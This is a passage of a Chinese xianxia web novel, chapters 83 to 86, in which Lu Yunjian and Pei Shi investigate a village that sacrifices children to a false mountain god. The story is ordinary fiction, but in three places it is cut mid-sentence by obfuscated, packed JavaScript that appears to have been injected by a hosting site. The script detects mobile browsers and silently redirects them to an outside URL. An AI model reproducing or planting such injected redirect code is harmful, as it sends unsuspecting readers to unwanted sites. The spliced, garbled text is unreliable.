陆明周早已会意,微不可察地点了点头:“多加小心。” 裴世再一次醒来时,也再一次没有见到陆云笺的影子。 眼前景象尚有些模糊,待终于看清,发现此处竟是流丹阁,忙使了几分力勉强坐起身,这才发现左臂已经全无知觉,也全无力气。 左臂被数道绷带纱布缠得严严实实,裴世回想片刻书籍中所载使用术法的语句,尝试着运转灵流,果真如同往常一样,一片死寂,毫无反应。 裴世盯着左手手掌出了会儿神,听见一阵脚步声,而后看见陆明周推门进来,手里提着一只食盒,神色复杂地瞥了一眼他的左臂:“这是云笺托我给你带的。” 听见他提起陆云笺,裴世犹豫片刻,最终下定决心般,问:“陆小姐呢?” 他从前从不会在陆明周面前问起陆云笺,他没有资格,也没有立场。 他也并不了解,这个年纪轻轻便掌管云间世诸多事务的陆少主,褪去彬彬有礼、平易近人的皮相后会是个什么样的人,于陆云笺是亲情更多,还是利用更甚。 但他心中很不安,上次醒来不见陆云笺,尚是因为她要前往哀牢训练,这次不见她,却不知是因为什么。 陆明周也没有责他僭越,答道:“云笺方才接了任务,出去除妖了。” 裴世隐在被褥之下的手指一紧,盯着食盒里热气腾腾的饭菜出了会儿神,忽然道:“可她前不久才受了伤,又刚从哀牢赶回来。” 他的语气平淡无波,却又有说不清道不明的情绪在底下翻涌,陆明周听见这么一句,第一时间觉出的是那几分掩藏得最好、最为轻微的怒意与敌意。 陆明周微微一怔。 正在这时,门又咔哒一声响,陆云笺迈步进来,边绑腕上绑带边抬眼瞥了两人一眼,在微妙的气氛中开口:“你们两个,说我什么呢?” 83. 蓦归处 屋内一时无人说话,陆云笺无视了气氛中微妙的成分,先从桌上食盒里拿了块花糕凑到嘴边:“你们都不饿吗?” 屋内沉寂几许,最终裴世先打破了寂静:“你受伤了。” 陆云笺的手一顿,见他盯着自己的手腕,于是笑道:“真是狗鼻子。你怎么不看看你自己,左手炸成什么样了?” “……” 裴世并不知道,陆云笺从接到任务到完成任务回到流丹阁,统共只花了不到半个时辰,陆明周却清楚,陆云笺要用怎样的速度才能在这么短的时间内解决四只妖兽,他也清楚,陆云笺此次行事迅速,又是因为什么。 陆明周微不可察地叹了口气,瞥了一眼陆云笺快被鲜血染透的衣袖,道:“碰巧这里还剩了不少上一个伤患没用完的药,这位新的伤患,你要不要考虑用一些?” 陆云笺笑道:“那好吧。”她说着背过身解了腕带,腕上伤口的血虽然已经勉强止住,三道爪痕却依然狰狞刺目,深处几乎可见森森白骨。 陆明周准备给陆云笺上药的手忽然一顿。 他们从原本的四年后逆转时空而来,因此所思所想都停留在四年后,此时他才后知后觉地想起来,眼下陆云笺应当才十五岁。他不知道寻常人家的孩子要怎样度过他们的十几岁,但想来并不会有多少人日日出生入死,在九死一生之地往返来回。 他想起好些年前父亲将不到八岁的陆云笺带回云间世,父亲一贯的冷淡神色里似乎有一丝一毫不同往常的情感。那情感太突兀也太陌生,因此虽然细微,却显得格外鲜明。 那是什么样的情感? 陆明周看不明白。 那年他十一岁,什么都不懂,只会跟着父亲练习术法,他虽记住了那几分突兀,但从未明白。 现在他十八岁,算上扭转时空前的四年,他二十二岁,已长成了云间世独当一面的少主,他也还是不明白。 他对父亲,从来也只有恭敬与顺从。 那父亲对这个他亲自决定收养的义女呢? 陆明周蓦地回过神,绷带已不知在陆云笺腕上缠了多少道,她也没有提醒,就任着兄长走神,似乎有些想笑。 陆明周收了手,涩着声嗓道:“我还有些事,先走一步,你们好生休养。”走出几步,又转回身来,目光轻轻扫过陆云笺手腕,“云笺,下不为例。” 陆云笺微不可察地耸了耸肩,目送陆明周离去,便又坐回床边,将食盒往裴世面前一推:“吃些吧?” 裴世将目光从陆明周的背影上收回,似乎想说什么,暂时咽下,先去食盒里拿了块花糕。 陆云笺瞅准了他伸手拿花糕的时机,先发制人道:“裴世,你此去是为了找延灵株吧?” 裴世手里捏着的花糕险些掉落在地。 陆云笺笑道:“延灵株稀少,云间世药堂里也没存得多少,又长在凶险之地,被传出些什么奇异的特性来,也不奇怪。我从前也以为延灵株真的能重塑经脉,后来试过一回,才知道原来是假的。” 裴世道:“……什么叫‘试过一回’?” 陆云笺给自己盛了碗粥,道:“你知道延灵株在哪里生得最多吗?” 裴世迟疑着说了一串山名,却见陆云笺伸出一指摇了摇:“是哀牢。” “……” “有一座山头密密麻麻长的都是延灵株,夜间无数延灵株散发出的光芒甚至可以照亮半边天空。所以——自爆经脉,我也有些经验。” “不过很可惜,延灵株并没有重塑经脉的作用,顶多是在治疗修复方面有些奇效罢了。要不是我哥医术好,”陆云笺举起右手晃了晃,“这只手大概就废了。所以你不用担心,你的手也会好的,只是需要些时日。” 见裴世神色复杂地看着自己,陆云笺不再继续这个话题,而是道:“似乎几日后就是弟子考核了?” 听见她提起此事,裴世神色一黯:“……是。” 云间世看重术法,不会一直容忍一个使用不了任何术法,甚至没有长老愿意收之为徒的弟子留下来。他迟早要被逐出云间世,此事已成定局,而他如今左手经脉尽断,定局总算是成了死局。 可他不敢去想若是被逐出云间世,往后的路该如何走。他走过无数仙门,最终得以进入云间世也不过是侥幸,而他在云间世三年,一事无成,遑论复仇雪恨。 他原以为陆云笺会因为他受了伤而提议他申请延缓考核,却不料陆云笺只道:“近日众位长老一直在议考制改革的事,今日似乎有了些眉目,说是笔试占三成,格斗占三成,术法占四成,折算下来,不合格的逐出门派。” 裴世微微睁大眼睛,再开口时,才发现嗓音因为紧张而有些干涩:“……折算?” 陆云笺道:“差不多是沿袭往年考制,顶多是严格了些。” 即便如此,若是术法一试为零,要想留在云间世,笔试与格斗都需取得满分,不可不谓艰难。 陆云笺却全然没有提及延缓考核的事,只道:“你的左手到考核时应该不能完全好了——” 裴世尚在为考核之事出神,视线中却忽地闪过一道银光,他下意识抬手接住,发现那竟是一把不知从何处来的长剑,通体泛着熠熠银光,还在兀自嗡鸣。 陆云笺道:“除那四只妖兽时偶然得了这把剑,虽不是什么上好的宝剑,但也能用一阵子。”说着朝裴世握着剑的右手一抬下巴,“单手剑,能赢么?” 裴世抬眼望向陆云笺,初时有几分茫然无措的双眼对上她静如深潭的双眸,一时间沉沉死水成了惊涛骇浪,无数情绪在里头翻涌滚沸,不知过了多久,才渐渐止息。 裴世垂眸,指尖拂过膝上卧着的长剑,轻声道:“能。” 因为有人信他,所以他必须能。 即便他毫无灵力,即便他一只手经脉尽断,即便与他对战的人是仙门世家子弟。 这一个字吐出来,反倒更像是一种承诺,承诺他会尽己所能,承诺他一定会赢,承诺他不会被逐出云间世。 裴世此番左手经脉炸得彻底,即便日日用上好的药医治,弟子考核来临时,仍是连一把最轻的木剑都拿不起。不过他没有食言,灵力术法一试为零,笔试与格斗却都是满分,折算下来,将将合格。 考核结束,云间世清出了一批考核不合格的弟子,他们大多苦着脸被山门外等待的亲眷领了回去。 裴世跟着陆云笺去山下的镇子里吃饭,与那些垂头丧气的弟子们擦肩而过,又望着他们三三两两地离去。 陆云笺见裴世看着那些人的背影不说话,便道:“这剑怎么样?” 裴世的目光转向陆云笺:“挺好的,多谢。” 陆云笺笑道:“当然不能白给你啊。我想起来,我们好像还没有正正经经地一起出过一回任务?等你伤都好了,下山跟我出任务去。” 云间世只有学成出师或是领了师命的弟子才能接委派、出任务,裴世莫说是出师,甚至不曾拜师,他若出任务,自然是不合规矩的。 察觉到裴世的目光,陆云笺自然知晓他的顾虑,道:“但既然不是你接的委派,这委托金自然不能算你的,都得归我。” 裴世将目光再度投向下山的弟子,弟子们和他们的亲眷已经行远,身影消失在了山间云雾之外,渐渐模糊不清。 他收回目光,看向陆云笺,笑道:“好。” 便是日日悉心医治、按时服药,连去演武场的时间都减少了不少,他新伤旧伤加起来,仍是足足过了半月有余才痊愈。 好容易熬到休沐日,陆云笺从陆明周处的一堆委托单里随手扯了一张,只草草扫了一眼,便接下了委托。 裴世收拾妥当,照例来流丹阁寻陆云笺时,她正靠在屋前白梅树旁,拨弄着手上的什么东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆云笺却是微一挑眉,将信纸叠了几下塞进袖中,笑道:“不信仙门却信奉山鬼,这其中缘由,想必也有些意思。” 裴世道:“你有主意了?” 陆云笺道:“有啊,只是现在不能告诉你,等到了九桥村,你也就知道了。” 九桥村是个偏远的山村,自山鬼之事被发现以来,当地仙门已经派遣弟子前去调查过几次,奈何每回都被村民们棍棒相赶,无奈便将此事报给了云间世。 陆裴二人依靠早早升起的炊烟才辨出村庄的方位,七弯八绕走过大段山路,到达九桥村时,正是晌午。 陆云笺进了村庄,并未看见村民,于是随便敲响了一扇屋门,敲了好一会儿,听见屋内传来挪动桌凳的声音,才终于放下手。 裴世心中疑惑,二人此时的穿着打扮一看就是仙门中人,而他更是穿着云间世的弟子服,这样敲开门,真不会被赶出去? 如此想着,他转眼去看陆云笺,却见陆云笺惯穿的槿紫劲装不知何时变成了粗布麻衣,高束的马尾也成了一条松松散散编起的麻花辫,垂在胸前。 如此一来,陆云笺身上的那几分凌厉与疏冷便被遮掩殆尽,微微弯起的眉眼之中的笑意也更为真实,不比往常,盈盈笑意后头总是不可见底的深渊。 屋门吱呀一声,唤回了裴世的神识。 屋门开了一条细小的缝,似乎有一道目光正从屋内传出,裴世下意识想避开,忽觉身旁陆云笺一掌击上背部,转眼去看她时,却不得不仰起头,先被她身后的刺目阳光晃住了眼。 裴世一瞬惊乱,忙低头去看自己身上,却不知何时手脚都成了孩童大小,衣裳也成了适合孩童身形的粗布衣裳。 屋门终于开了,裴世仰着头,和扒着门框往门外瞧的妇人对上了目光。 84. 笑戏言 开门的妇人上下扫了他们几眼,道:“我男人不在家,你们有什么事?” 陆云笺佝偻了些许,显出几分疲惫的姿态:“请问大姐,你们这儿供奉山神的事儿是归谁管啊?是村长不?” 妇人掀起眼皮,又打量了陆云笺几眼,总算打起了几分精神,警惕着后撤半步,门也合了半扇:“你们要干什么?” 陆云笺不动声色地抵住门,将声音放低了几分:“我听说你们这儿收童男童女?这么大的成吗?” 陆云笺的声音压得很低,照常理来说这么点大的孩子是听不见的,因此裴世虽听得一清二楚,却也只能低头装傻,把脚下的石子儿碾碎了好几轮。 妇人于是又打量了裴世几遍,复又抬眼望向陆云笺,没说话。 陆云笺故作勉强地笑道:“前阵子刚满六岁,还不懂什么事儿,细皮嫩肉的,山神大人保准喜欢吧?” 许是这卑微又带着讨好的意味还真像那么回事儿,妇人把关上的那半扇门又推开了,不过仍然没有放二人进门的意思,只说:“这我做不了主,你们得去找村长。” 陆云笺笑道:“我们是外地的,不认识路,能麻烦大姐你带个路吗?” 村长年近古稀却丝毫不显老态,虽是面容枯瘦、眼窝深陷,却全然不减鹰隼般的目光里含着的冷意。 村长到底是村长,既没有仔细打量,也并未开口询问,只粗略地上下扫了两人一遍,面色不善地冷声道:“修道的?” 陆云笺面色分毫未变,道:“什么修道的?” 村长又沉着脸仔细观察片刻,终于放下了几分警惕,但仍没有什么好脸色:“做什么?” 陆云笺道:“我远房表姐是这儿的人,前些日子我爹娘走了,我走投无路,给她写了封信,她说实在不行可以来九桥村,你们这儿收孩童,把我弟弟抵给你们,能不能给我个住处?实在不行,给些钱两也行。”说着把裴世往前面一带。 陆云笺原本想要他配合做一个天真不知事的小孩儿,奈何他眼里那股子戾气实在是遮也遮不住,于是又不动声色地把他推回身后。 村长却道:“不收。” 他说完就要把门合上,陆云笺照例把门抵住,央求道:“求求了,我身上没什么钱两了,表姐夫也不肯留我们,我拿钱就走人成吗?” 村长道:“你表姐谁?” “我表姐……”陆云笺顿了一瞬,似乎是在回忆,“我表姐叫李秀,三年前嫁到这村子里头来的,别的我也不大清楚,以前没怎么来往,最近也没联系了。” 听见这个名字,村长按住门的手微微松了松,目光移向躲在陆云笺身后、拽着她衣摆的小孩儿:“你弟弟?” “是啊,”陆云笺张口就来,“长得不像是不?不是亲的,同父异母。” 村长扫了陆云笺一眼,心里默默打着算盘——看样子这姐弟俩不亲,没准也不睦,家里头没什么人,应当没什么麻烦。 盘算一番,村长微微侧身,算是默许二人暂留:“先说好,我们得先给他测生辰八字,合山神大人心意的才能供奉上去。” 陆云笺道:“怎么个测法?” 村长又冷冷扫了她一眼,带着些警示意味:“那就不是你要管的了。”说着要去扯裴世,陆云笺却先他一步将裴世又往身后带了带,看起来就像是裴世害怕得直往她身后躲。 陆云笺道:“他怕生,不肯一个人走。” 村长道:“到这份儿上了,还说什么怕生不怕生?” 陆云笺拽着裴世的手没松:“我听说供奉之前,要让他念段咒语恭请山神大人降凡?” 村长道:“是又怎样?” 陆云笺道:“可他是个哑巴。” 裴世:“???” 村长去拽裴世的手顿在半空,蓦地收回:“哑巴?” 陆云笺道:“虽然没法儿念咒,但是也有好处啊。我们那边也有供奉神明的规矩,虽然是供奉牲畜,但供奉前总要先把牲畜的眼睛戳瞎,是说看不见污秽之物,心里才干净,才能讨得神明欢心。” 这一段正是陆云笺有一回除祟时所见,也算是活学活用。 “这哑了不能说话也是一样的道理,不能说话,那就更不能说谎,也不能口吐污秽之言,不造口业,不也干净?没准山神大人一高兴,往后就免了供奉呢。” 村长听她如此说,似是觉得有些道理,隐隐有动摇之兆。 陆云笺又道:“我知道这供奉仪式严格,但我既然是他的半个血亲,代他念个咒语什么的,想必山神大人不会怪罪。” 村长道:“要参加供奉仪式,你的生辰八字也得一并测了。” 陆云笺道:“那是自然。” 村长便领二人进到院中,取来纸笔,让陆云笺写下二人的生辰八字。陆云笺抬笔欲写,却又顿住,迟迟没有下笔。 村长道:“怎么了?” 陆云笺指指裴世:“他没名字,就有个小名儿,写小名儿成吗?” 村长道:“没有大名?” 陆云笺道:“没有,他生下来身体就不大好,一直没起大名。小名儿据说是因为他娘生完他那段时间特别喜欢吃柿子,所以小名儿就随口取了个小柿子。” 裴世:“……” 见不是“狗蛋”“铁柱”一类,村长心中微微松了口气,在心里给山神大人磕了几个响头,道:“也成,小柿子就小柿子吧。” 陆云笺便提笔写了,写完又把纸折好递给村长。裴世本想去看陆云笺写的是什么,然而陆云笺存了心不让他看,他踮着脚瞧了半天,仍是什么也没看见。 村长收拾出一间简陋客房,领二人去后,自己便拿着写有生辰八字的纸出门了,不知去了何处。 陆云笺进了屋,先仔仔细细把门窗都关紧了,又施了个隐蔽的隔音法咒,这才把二人身上的幻形法咒都解了。 陆云笺在桌边坐下,想倒茶,然而茶壶里头什么也没有,又悻悻地把壶放下:“这个村长不简单,对仙门道法有一定的了解,或许也是修道的。” 见裴世抱臂在一旁不说话,陆云笺又道:“要我们写生辰八字应当没这么简单,你说,山神能利用一个人的生辰八字做什么呢?” 裴世还是不说话。 陆云笺一手撑着脸,笑道:“生气啦?” 裴世终于说话了:“生什么气?我前阵子才刚满六岁,不懂什么事儿,不知道什么叫生气。不说话是因为我是个哑巴,不会说话。” 陆云笺道:“小孩儿多可爱啊,而且我还说你细皮嫩肉的呢,是不是啊小柿子?” 这个称呼就像是捏住了裴世的七寸,他一时无话反驳,想闭嘴不说话,又免不住好奇,终于还是道:“所以你一早就想好了这套说辞?” 陆云笺道:“老实说,其实我一开始只是想和你装姐弟,借供奉之由来探探这个村子和所谓的‘山神’的。但你实在是……太好玩儿了,所以不免补充了些小细节。” 裴世避开她的目光,道:“所以……远房表姐也是你杜撰出来的?” 陆云笺道:“表姐的确不是表姐,不过九桥村确实是有这么个人的,我哥给我的那几张信纸上都写着呢,喏。” 裴世接过信纸,上头记录的是地方仙门查到的九桥村的情况,虽没有太多有用的信息,但事无巨细都写在上面,也算是阴差阳错地发挥了些作用。 上头写着,九桥村上一次供奉的是李秀的孩子,这孩子是村长骗去神殿的,等李秀夫妇发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380912|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现时已进入了夜间,快到山神降凡之时了,李秀和她丈夫救儿心切,不顾阻拦冲进神殿,却和孩子一起送了性命。 这时候李秀的远房亲戚来访自然不是什么好事,无论是心中有愧还是心中有惧,村长想必都希望这个表妹快点走人。 “若是他不肯留我们,我就打算赖着不走,等他松口,没想到他答应得还挺快。” 裴世将信纸叠好,又递还给陆云笺:“你写的是真生辰八字?” 陆云笺眨眨眼:“是啊,你怕被山神大人吃了吗?” 裴世原本想问陆云笺是如何知道他的生辰八字的,话到嘴边又咽了回去,改口道:“九桥村供奉童男童女,那童女呢?” 陆云笺道:“晚上到了供奉的时辰,我会守在神殿外面见机行事。不过为了防止山神发现不对,半路逃跑,还是要麻烦你照看一下和你一起被奉上去的小女孩儿了。” 裴世几番欲言又止,但到底还是什么都没说,只将目光投向了窗外阴沉沉的天空。 冬日的夜晚总是来得很早,村人们早早用过晚饭,进行了供奉仪式,在天彻底黑下去之前,用轿子抬着用于供奉的童男童女上了山。 今夜无月,山顶的沉沉夜色压得人险些喘不过气。村民又将轿子抬下山,一串灯火沿着山路蜿蜒,片刻后隐没在夜色里。 裴世在蒲团上静坐片刻,听着外头全然没了任何动静,这才动手开始解身上绑缚着的红绳。这绳绑得紧,又十分复杂,无端让人想起被五花大绑的蟹。 裴世三下五除二将绳解了,起身去解另一只蒲团上的女童身上的绳。不知为何,那女童既没有哭闹也没有恐惧,就静静地坐在一旁,仿佛一只木雕人偶。 莫非方才举行供奉仪式的神殿里的供香有迷幻效果? 裴世仔细感受了片刻,并未觉察出什么异样。他利落地解了女孩儿身上绑的绳,正欲察看一下她的状况,却听耳边传来一声轻笑。 屋内未点灯烛,女孩儿的脸隐在黑暗中,裴世也没有仔细去看,因此起初并未发现什么异样。此时那女孩儿微微倾身,靠近了些许,眉眼便更为清晰,裴世正欲往回撤的身形又顿住了:“……你不是说在神殿外见机行事?” “这不是担心你么?”陆云笺支腮笑道,“供奉仪式上那句恭请山神降凡的咒语是献祭咒,可照理来说,既是你来献祭,旁人是不能替你念献祭咒的,可村长却同意如此,我觉着事情没有那么简单,就在供奉仪式结束后暗中把小女孩儿掉包了。” 裴世又坐回了自己的蒲团,闻言抿了抿唇,道:“就算不是献祭咒,你也会把她掉包的。” 陆云笺笑道:“果然唬不住你呀。” 裴世道:“……你就不怕那山鬼一口吞?” “你别说,还真有这个可能。天生地长的妖怪似乎总喜欢吃生食,且不喜细嚼慢咽。” 裴世那头良久没有回应,半晌后他忽地压低声音,道:“好像有点不对。” 陆云笺道:“山鬼正在试图把这神殿或是整座山变成自己的法力场。这便怪了,吃个宵夜而已,何必如此大费周章?” 裴世道:“许是它发现今夜的宵夜有些扎嘴。” 陆云笺笑道:“也可能是它发现宵夜里有个格外细皮嫩肉的,所以要好好品尝一番。” 二人一句两句地打着趣儿,外头若有似无的风声不知何时完全消失了,无边寂夜中,二人噤了声,不自觉地放轻了呼吸。 静了许久,陆云笺忽然小声道:“其实我不知道你的生辰。” 裴世蓦地转头,看向陆云笺。 神殿之外忽地淅淅沥沥地下起了细雨,静默许久的风又丝丝缕缕沿着门缝钻了进来。 吱呀一声,门开了。 85. 易岁辰 待裴世完全反应过来陆云笺是什么意思时,那缕无形无状的风已经逼至眼前,无边黑暗中似乎有什么东西正在渐渐成形。他虽目力过人,却仍不能完全看清黑暗中的事物,陆云笺却将那只直逼自己双眼的利爪看得一清二楚。 她坐在蒲团上,静静盯住那只利爪,一动不动。 那只利爪在离她的双眼不过寸余时倏然停住,而后缓缓抬起一指,指尖渐渐汇聚起白色光芒,那光芒极为浅淡,更像是云,或者雾。 陆云笺在那团浅淡的光芒里晃了一瞬神,恍惚间看见母亲正在那儿笑着唤她“云笺”,光影闪烁间,又看见母亲血肉模糊,涕泪俱下地嘶喊着“跑”。 她闭上眼睛,云雾一般的光芒自身边飞速流淌而去,再睁眼时,眼前已经没有任何幻影,只有一个高瘦的长影,俯身在她面前,利爪还没有收回去。 陆云笺抬起一手,抓住了那只利爪。 “你们这些东西设置的幻影从来都只有这些,我已见得多了。” 长影猛地挣扎起来,咆哮如同啸叫的风,一时林樾震颤、地动山摇,陆云笺微一用力,手中擒住的利爪便猛地炸开,那东西痛啸一声,“轰”地撞在一旁的石壁上。 陆云笺收了手,微微侧身给裴世让开路,顺手解了他身上的幻形法咒。 几乎一瞬之间,裴世已经逼至长影身前,拔剑击出,石壁轰然炸开,夜间的冷气自洞穿的石壁中钻出,凉意阵阵。 陆云笺抬手拨亮供桌上的灯烛,上头没有放置供品,神龛里也是空空如也,并没有什么山神像。 供桌上没摆供品倒还好说,毕竟供品被放在了桌前的蒲团上,可神龛里没有神像便奇怪了。 陆云笺正欲走近细看,忽听裴世道:“是个不完整的魂魄。” 陆云笺收回目光,果然见黑影的碎片在半空飘浮,却没有彻底化作飞灰。 “速度挺快,这剑还好使么?”见裴世不说话,陆云笺也不在意,只笑着抬手拍了拍他的肩,又在怀中摸出一个纸包,将纸包里最后一块糕点塞给他,“看起来是个人,不是山鬼。” 陆云笺将那几片破碎的黑影收了,又将纸包重新折好,塞回怀中:“神龛里好像写了什么东西。”她说着正欲上前将神龛壁上的黑灰抹干净,裴世却将她一挡,先她一步伸了手:“你别碰了。” 只有裴世站在她身前时,陆云笺才会恍然意识到,原来这个总跟在她身后的小弟子,要比她高出这么多,挡在她身前就像一座山岳,阻断了她的视线。 陆云笺莫名有些不痛快,微移视线,见神龛壁上的灰尘已经被擦净,露出上头的图画来。 壁上画的是一只涅槃的神鸟,携着万丈金光,一旁绘着的万千飞禽都像是光芒里点点金色的尘埃。 陆云笺微微一怔:“照灵鸟?” 后人总会把照灵鸟和凤凰的形象相混淆,在壁画与塑像中尤其如此,但陆云笺几乎是毫不犹疑地便肯定了壁上绘的就是照灵鸟。云间世专藏经史的地方绘有记录修真界诸事的壁画,这幅图所绘的照灵鸟图案,与云间世的壁画一模一样。 这也就证明,打造这个神龛的人,既与云间世有关,也与照灵鸟相联。 陆云笺当即拽了裴世就往殿外走:“去找村长。” 神殿大门不知何时已经再次严丝合缝地合上了,陆云笺上前一推,大门却纹丝不动,仿佛万钧巨石拦在前方。 陆云笺没有再试图推第二次,裴世上前一推,并未使什么力气,大门却“吱呀”一声开了一道缝。 陆云笺通过缝隙朝外看了一眼,只见绕山起了一道结界,虽并不是什么厉害结界,但她立在殿内,却能清晰感受到来自结界之上拒斥与压制的力量。 陆云笺没有太多意外,转头对裴世笑道:“怎么办,你要不要先回去搬救兵?” “要搬救兵,通讯符也不是不可以,更何况,如果你都破不了这个结界,我还真想不出还有几个人能破。结界的压制和拒斥作用是针对你,因为你只写了自己正确的名字和生辰八字,还念了献祭咒。”不同于陆云笺,裴世的脸色很不好看,“现在还想把我支走,你是想强行打破结界,还是想和它同归于尽?” “想什么呢。”陆云笺转身走回大殿内,重新在蒲团上坐了,开始认真打量四周的环境,“这种东西,还不至于让我和它同归于尽。” 见裴世还是一脸不悦,她又补充道:“强行打破幻境和结界也都是坏习惯。” 裴世背对着殿门,自门缝间溜进来的夜风吹起他一片袍角,他却毫无反应,只一动不动地堵在门口:“随便把生辰八字告诉这种来路不明乱七八糟的东西也是坏习惯。莫说是生辰八字,就算只是名姓,也大可施展厌胜之术了。” 这话像是提醒了陆云笺什么,她缓缓收回目光,视线聚在裴世身上,逐渐变沉变冷。 是啊……厌胜术。 厌胜术不是什么稀奇术法,只是民间用得多,仙门不常用,因此陆云笺起初并没有想到此法,此时裴世提起来,她便忽地灵光一现—— 是否可以借鉴厌胜术,通过一个人的生辰八字压制其灵力,或诱导其献祭呢? 这样一来,尝试发挥裴世体内照灵骨的难度与风险就都要小得多了。 裴世没有发觉陆云笺所思所想,径直走向她身边的另一个蒲团,盘膝坐下。 陆云笺下意识开始构思阵法,原想给日日夜夜思索的断界阵又添上一笔,但笔悬在半空却又顿住,迟迟没有落下。 陆云笺将凝在裴世身上的目光挪到地上:“这不是怕这位山神大人不肯来么?至于献祭咒……我还不至于那么蠢,他让我念,我就真老老实实地照着念。” “如果是要引它出来,你大可以写我的生辰八字,完全不必——” “你没告诉我你的生辰啊。”陆云笺托腮笑着瞧他,“要不你现在告诉我?” 裴世蓦地住了嘴,半张脸映着灯光,半张脸隐在黑暗中,看不出什么情绪。 外头的沉沉夜色似乎透过屋顶压了下来,殿门轰地一声再次闭合,灯火微颤,“噗”地一声熄灭了。 无边寂夜中,似乎有什么东西在潜滋暗长,试图攀住人的手脚、撕扯人的血肉。 陆云笺在黑暗中静了一会儿,道:“没想到还有幻境。” 想来这幻境也是针对陆云笺的,裴世除了觉得有些喘不过气以外,并没有发觉太多异样。 黑暗中一簇火光亮了起来,仿若泼墨,徐徐洇染开来,图画渐成,俨然是火光中的眉阳村。陆云笺没有去看那团火光,只转头对裴世笑道:“怎么不说?我又不会拿你的生辰八字去扎小人。” 裴世沉默良久,忽然孩子气般地道:“如果是这样,我会先你一步,给你扎满满一屋子的小人。” “真的吗?可我看你缝缝补补的功夫不太到家啊,真的会做小人儿吗?” “那不是正好吗?你还想要多好看的小人?” “也行吧,”陆云笺像是认真思索了一会儿,“那我们现在交换生辰,看谁扎的小人更多更好看?” 火光逐渐蔓延到了眼前,陆云笺避开了火光中呈现的景象,裴世的目光却几乎不能从画面中身躯被撕裂的女子身上移开。如果这个幻境也是针对陆云笺的,那这名女子是…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387539|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >裴世蓦地扯回目光,抬眼对上陆云笺的眼睛:“我的生辰,是十二月初一。” “……” 陆云笺原以为,知晓裴世生辰的第一瞬间,会下意识思索脑中构思的阵法是否合理,可有不妥之处,可还需要修改,却不料第一时间,心中盘算的竟然是—— 如果给他炼一把好刀作为生辰礼,他恰好能在年末的修真大会用上。 过了许久,陆云笺才蓦地惊觉自己的这个念头,她面上神色不变,只道:“那你的生辰才刚过没多久,要是你早些告诉我,就能多得一回生辰礼了。” “我不过生辰,”裴世像是整副心思都放在了“扎小人”上,“你的生辰呢?” “五月初十。”陆云笺倒也毫无隐瞒,说完未及裴世说话便又接着道,“你知道我为什么想把你支开吗?” 刺目火光几乎已经笼罩了二人,嘶吼咆哮声振林樾,尖叫哭喊一刀一刀生剜血肉。裴世的脸在火光下明暗不定,他只定定看着陆云笺,没有回答。 “我养的妖狼,有些躁动不安。妖兽本性多残暴嗜血,”陆云笺不经意地舔了舔嘴唇,一双眼眸在火光下熠熠闪着光,“我现在想杀人,我怕我一不留神就杀了你。” 裴世没有怕,更没有躲,他还是不发一言地坐在原地,而后忽然倾身,捂住了陆云笺的眼睛。 陆云笺有些疑惑,没有顺势闭上眼,但也没有躲开:“做什么?” 裴世微微松了手,陆云笺还没来得及看清眼前景象,只觉光影微动,鼻尖便触到了一片微凉的布料,裹挟着熟悉的清冽气息,将她的视野遮挡得严严实实,透不进一丝光亮。 裴世的声音沉闷地响在她头顶:“别看了。” 陆云笺抬起手,指尖沿着布料上移,触到裴世的脖颈时,清晰地感觉到他身体一僵,也清晰地感觉到骤强的杀戮欲望。裴世几乎是严丝合缝地抱住了她,却不知脖颈露在外头,很像一只引颈就戮的羔羊。 陆云笺闭上眼,放下手。 隔绝了幻境的景象后,心绪果真平静了许多,心神也终于渐趋安宁。 “他们想要献祭的是我,我在想,这个村长到底是个什么人。” 前来神殿的“山神”魂魄碎裂,而陆云笺体内的妖狼碎魂被各式各样的东西时刻觊觎,无数人鬼妖魔想要这几缕碎魂,或修复魂魄,或增进法力。 如今看来,村长想要将她供奉给“山神”,想必就是为了修复“山神”的魂魄,可他也是修道之人,有什么必要和一个不知道是什么东西的东西掺和? 裴世道:“如有必要,我可以借惟霜剑把幻境和结界打破。” 陆云笺道:“那多可惜呀,我看这结界设置得还不错,还想看一看这个阵法是什么样的呢。再说了,万一村长见势不好跑了怎么办?” “……” “这个‘山神’,没什么本事,不用管太多。倒是那个村长,我倒想当面会会他。” “你别乱来,你现在灵力被压制着,不能轻易动用。” “好,不用就不用。”感觉到裴世的力道丝毫未松,陆云笺又笑着补充,“骗你是狗。” 她将怀中装着“山神”的纸包塞给裴世,道:“待会儿结界破了,你先把它押回云间世,直接报给我哥。不过如果你有兴趣的话,也可以留下来旁观我把村长大卸八块。” “……你要怎么破这个结界?” 半晌没等来陆云笺的回答,裴世微微松开她,却透过墙壁上的洞看见外头结界光芒大盛,怀中纸包也似是焦躁不安地剧烈颤动着。 裴世刹那便反应过来了——陆云笺方才念了献祭咒! 86. 愿花焰 未及裴世缓过神,陆云笺鬼魅一般的身形已闪至门口,她抬脚一踹,神殿大门訇然中开,结界的图腾在黑夜中汇聚流光,直朝陆云笺的方向而来。 